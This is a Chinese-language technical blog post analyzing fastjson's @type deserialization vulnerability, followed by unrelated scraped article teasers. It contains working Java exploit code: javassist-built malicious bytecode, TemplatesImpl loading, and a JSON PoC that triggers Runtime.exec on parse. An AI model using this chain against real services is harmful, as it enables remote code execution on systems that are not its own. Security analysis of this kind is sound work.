fastjson反序列化分析

1.fastjson简单使用

User:

package com.naihe;public class User {private String name;private int age;public User() {}public User(String name, int age) {this.name = name;this.age = age;}public String getName() {return name;}public void setName(String name) {this.name = name;}public int getAge() {return age;}public void setAge(int age) {this.age = age;}
}

Demo:

package com.naihe;import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;public class FS {public static void main(String[] args) {User user1 = new User("小李",10);String JsStr1= JSONObject.toJSONString(user1);System.out.println(JsStr1);User user2 = new User("大李",100);String JsStr2= JSONObject.toJSONString(user2, SerializerFeature.WriteClassName);System.out.println(JsStr2);String str = "{\"@type\":\"com.naihe.User\",\"age\":1000,\"name\":\"老李\"}";Object obj1 = JSONObject.parse(str);System.out.println(obj1);Object obj2 = JSONObject.parseObject(str);System.out.println(obj2);}
}

在这里插入图片描述

2.反序列化漏洞分析

由于fastjson调试起来过程比较复杂,在这里直接看关键点:
首先会获取字符串的第一对引号中的内容

在这里插入图片描述

如果内容为@type就会加载下一对引号中的类

在这里插入图片描述

在这里插入图片描述

在JavaBeanInfo.class中会获取类中所有详细详细
在这里匹配以set开头的方法

在这里插入图片描述

这里判断函数名长度大于4,且以set开头,非静态函数,返回类型为void或当前类参数个数为1个的方法

在这里插入图片描述

methodName.length() >= 4 && 
!Modifier.isStatic(method.getModifiers()) && 
(method.getReturnType().equals(Void.TYPE) || 
method.getReturnType().equals(method.getDeclaringClass())))

函数名长度大于等于4非静态方法,以get开头且第4个字母为大写,无参数,返回值类型继承自Collection或Map或AtomicBoolean,或Atomiclnteger或AtomicLon的方法

methodName.length() >= 4 && 
!Modifier.isStatic(method.getModifiers()) && 
methodName.startsWith("get") && 
Character.isUpperCase(methodName.charAt(3)) && 
method.getParameterTypes().length == 0 && 
(Collection.class.isAssignableFrom(method.getReturnType()) || 
Map.class.isAssignableFrom(method.getReturnType()) || 
AtomicBoolean.class == method.getReturnType() || 
AtomicInteger.class == method.getReturnType() || 
AtomicLong.class == method.getReturnType()))

其实本质就是fastjson会利用反序列化通过无参构造创建一个对象,不通过setter或getter方法进行赋值与输出操作
因此我们只需要找到满足条件的类就行,这里一般利用的是 TemplatesImpl链来加载字节码,从而rce等操作
下面我们来证明一下我们的观点
在setter方法中添加一段命令执行的代码

package com.naihe;public class User {private String name;private int age;public User() {}public User(String name, int age) {this.name = name;this.age = age;}public String getName() {return name;}public void setName(String name) {this.name = name;Runtime.getRuntime().exec("clac");}public int getAge() {return age;}public void setAge(int age) {this.age = age;}
}

Demo:

package com.naihe;import com.alibaba.fastjson.JSONObject;public class Demo1 {public static void main(String[] args) {String str = "{\"@type\":\"com.naihe.User\",\"age\":1000,\"name\":\"老李\"}";Object obj1 = JSONObject.parse(str);}
}

在这里插入图片描述

3.字节码加载

1.利用defineClass加载字节码

package com.naihe;import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;public class DC {public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException, NotFoundException, CannotCompileException, IOException {//通过字节码构建恶意类ClassPool classPool=ClassPool.getDefault();String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";classPool.appendClassPath(AbstractTranslet);CtClass payload=classPool.makeClass("CommonsCollections3");payload.setSuperclass(classPool.get(AbstractTranslet));payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");byte[] code=payload.toBytecode();Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);defineClass.setAccessible(true);Class yyds= (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "CommonsCollections3", code, 0, code.length);yyds.newInstance();}
}

在这里插入图片描述

2.利用TemplatesImpl加载字节码

package com.naihe;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;import java.lang.reflect.Field;
import java.util.Base64;public class TL {private static void setFiledValue(Object obj, String fieldName, Object fieldValue) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, fieldValue);}public static void main(String[] args) {try {ClassPool classPool=ClassPool.getDefault();String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";classPool.appendClassPath(AbstractTranslet);CtClass payload=classPool.makeClass("CommonsCollections3");payload.setSuperclass(classPool.get(AbstractTranslet));payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");byte[] codes=payload.toBytecode();byte[][] _bytecodes = new byte[][] {codes,};TemplatesImpl templates = new TemplatesImpl();setFiledValue(templates, "_bytecodes", _bytecodes);setFiledValue(templates, "_name", "whatever");setFiledValue(templates, "_tfactory", new TransformerFactoryImpl());templates.newTransformer();} catch (Exception e) {e.printStackTrace();}}}

poc:

package com.naihe;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import java.io.IOException;import java.util.Base64;public class fastjson {    public static void main(String[] args) throws CannotCompileException, IOException, NotFoundException {        ParserConfig config = new ParserConfig();        ClassPool classPool=ClassPool.getDefault();        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";        classPool.appendClassPath(AbstractTranslet);        CtClass payload=classPool.makeClass("CommonsCollections3");        payload.setSuperclass(classPool.get(AbstractTranslet));        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");        String str = Base64.getEncoder().encodeToString(payload.toBytecode());        String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+str+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";        Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);    }}

3.利用分析

fastjosn一般是使用TemplatesImpl链来进行攻击的,在上面其实已经分析过fastjson在反序列化的时候会调用满足条件的getter方法,因此就会调用TemplatesImpl类的getOutputProperties方法,然后通过getOutputProperties,调用newTransformer

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

仔细观察就会发现poc中将byte进行了base64加密,那么这是为什么了?
在调用deserialze时会执行base64解密

在这里插入图片描述

在这里插入图片描述

造成_bytecodes需要进行base64编码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358062.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

防抖函数的实现

防抖函数的定义是当事件触发完成之后再延迟触发,并且只触发一次;如果在触发完成之前再次触发,则会再次刷新延迟;简单理解为(如果事件不触发即不执行,并且只会执行一次,就是定时器最后走的那一次…

银行家算法:解决多线程死锁问题

死锁: 死锁产生的现场:当A进程P S2信号量而B进程P S1信号量时就会产生死锁,因为S2信号量需要B进程释放,而S1信号量需要A进程释放,因此两个进程都在等相互的资源,造成死锁。 死锁产生的条件: 互斥…

节流函数的实现,一次面试题遇到的编程题

在日常开发中有很多场景我们都需要用到节流函数和防抖函数,比如:实现输入框的模糊查询因为需要轮询ajax,影响浏览器性能,所以需要用到节流函数;实现手机号、姓名之类的的验证,往往我们只需要验证一次&#…

guice注入带参构造器_带有Guice的富域模型

guice注入带参构造器贫血域模型是一个非常常见的反模式。 在ORM和DI框架的世界中,我们自然会发现自己拥有一个由ORM管理的“域”,该域包含所有数据且无行为。 通过我们的DI框架有帮助地注入了辅助类,这些辅助类都是行为且没有数据。 在本文中…

转:巧用搜狗输入法输入英文单词

转: http://www.techweb.com.cn/digi/experience/2013-06-03/1300700.shtml 你是否遇到过这样的情形:想打一个英文单词,但是忘了具体拼写是什么,只是记了个大概?比如“竞争”,到底是competetion还是competition呢?又…

服务器ping不通的解决办法之阿里云云服务器VNC报错Failed to execute /sbin/init

背景:最近买了一个阿里云的云服务器,今天想安装阿里云的操作文档搭建一个博客网站来着,发现服务器公网IP都ping不通 解决办法参考: 方法一:如何解决ping请求超时的问题 方法二:本地ping服务器连接不到,总是超时 我的防火墙已经关闭,内网切换移动网络也不行,安全组…

从ofcms的模板注入漏洞(CVE-2019-9614)浅析SSTI漏洞(freemarker模板)

https://www.cnvd.org.cn/flaw/show/CNVD-2019-08488 思路: 1、pom.xml的时候发现存在模版引擎freemarker http://t.zoukankan.com/Eleven-Liu-p-12747908.html 2、寻找修改模版的地方 TemplateController.java 3、添加执行Payload <#assign ex“freemarker.template.utilit…

集合中的可选

有时有人认为Optional类型值得在集合中使用。 据称&#xff0c;它解决了以下问题&#xff1a; HashMap在没有键映射以及值null映射到键的情况下返回null 。 如果使用Map<Optional<Something>>则可以清楚地区分缺少的映射和缺少的值。 这样一来&#xff0c;您在兔子…

当你不知道今天星期几,不妨在编辑器写下这段代码

背景:最近加班比较严重,天天废寝忘食的写代码,不知春夏,看看今天星期几啦,实现方式很多,下面演示一下switch的方式 html: <!DOCTYPE html> <html><head><meta charset="utf-8"><title>孙叫兽测试switch语句</title></…

05.html学习-表单

表单标签&#xff1a; 表单标签的作用是用于提交数据给服务器的。 表单标签的根标签是<form>标签常用的属性&#xff1a; action: 该属性是用于指定提交数据的地址。 method&#xff1a; 指定表单的提交方式。 get : 默认使用的提交方式。 提交的数据会显示在地址栏上。 …

在Log4j2中更好地执行非日志记录器调用

使用Log4j 1.x并希望避免在某些情况下可能会造成额外的性能影响&#xff08;即使实际上未记录该消息&#xff09;时&#xff0c;通常使用日志记录防护 。 Java的简单日志记录外观 &#xff08; SLF4J &#xff09;带给Java日志记录的最吸引人的功能之一是能够减少需要进行这些日…

javaScript学习笔记之运算符

运算符 = 用于赋值。用于给 JavaScript 变量赋值。 运算符 + 用于加值。算术运算符 + 用于把值加起来。 下面展示了算术运算符及赋值运算符: <!DOCTYPE html> <html><head><meta charset="utf-8" /><title>孙叫兽测试运算符</…

编写高质量代码-OC 第7章 设计模式与Cocoa编程

45、设计模式是特定环境下的特定问题的解决方案46、MVC模式是一种复合或聚合模式47、对象建模在数据库中也广泛使用48、类簇可简化框架的公开架构而又不减少功能的丰富性 1、类簇基于抽象工厂设计模式2、类簇&#xff0c;可以用于隐藏实现的详细细节&#xff0c;为调用者提供一…

Goby反制复现

0x00 前言 最近复现Goby反制的时候遇到很多坑&#xff0c;记录一下反制过程以及遇到的坑点&#xff0c;还有世界上最强的黑客mux1ng帮我解决了很多问题。 0x01环境 攻击机&#xff1a; windows10 Goby1.8.230 172.20.10.3反制机&#xff1a; Windows7 Phpstudy2016 172.20.…

测试双重图案

前段时间&#xff0c;我写了一篇有关使用Test Double的后果的文章&#xff0c;但是与Test Double Patterns无关&#xff0c;仅是一个简单的清单。 今天&#xff0c;我想对其进行更改&#xff0c;并解释这些模式之间的差异。 正如我在提到的文章中写道&#xff1a; Test Doubl…

javaScript学习笔记之比较运算符||逻辑运算符||条件运算符(三目运算符)

比较运算符在逻辑语句中使用,以测定变量或值是否相等。 逻辑运算符用于测定变量或值之间的逻辑。 javaScript基于某些条件对变量进行赋值的条件运算符(三目运算符)。 HTML: <!DOCTYPE html> <html> <head><meta charset="utf-8"><title…

类的依赖注入

http://www.360doc.com/content/14/0421/09/10504424_370757998.shtml转载于:https://www.cnblogs.com/changbaishan/p/4949225.html

JDK 9:模块系统状态的重点

马克雷因霍尔德 &#xff08; Mark Reinhold &#xff09;的“模块系统状态 &#xff08;SOMS&#xff09;”已于本月初发布&#xff0c;它提供了信息丰富的可读性“对项目Jigsaw中原型的Java SE平台进行了增强的非正式概述&#xff0c;并被提议作为JSR 376的起点。” 在这篇文…

fckeditor漏洞_三十,文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御

一.编辑器漏洞 1.编辑器 编辑器属于第三方软件&#xff0c;它的作用是方便网站管理员上传或编辑网站上的内容&#xff0c;类似我们电脑上的Word文档。 编辑器通常分为两种情况&#xff1a; (1) 不需要后台验证&#xff0c;可以直接在前台访问且操作。通过方法找到编辑器&#x…

java学习笔记之条件语句(if...else)

条件语句用于基于不同的条件来执行不同的动作。 通常在写代码时,您总是需要为不同的决定来执行不同的动作。您可以在代码中使用条件语句来完成该任务。 在 JavaScript 中,我们可使用以下条件语句: if 语句 - 只有当指定条件为 true 时,使用该语句来执行代码if...else 语句 …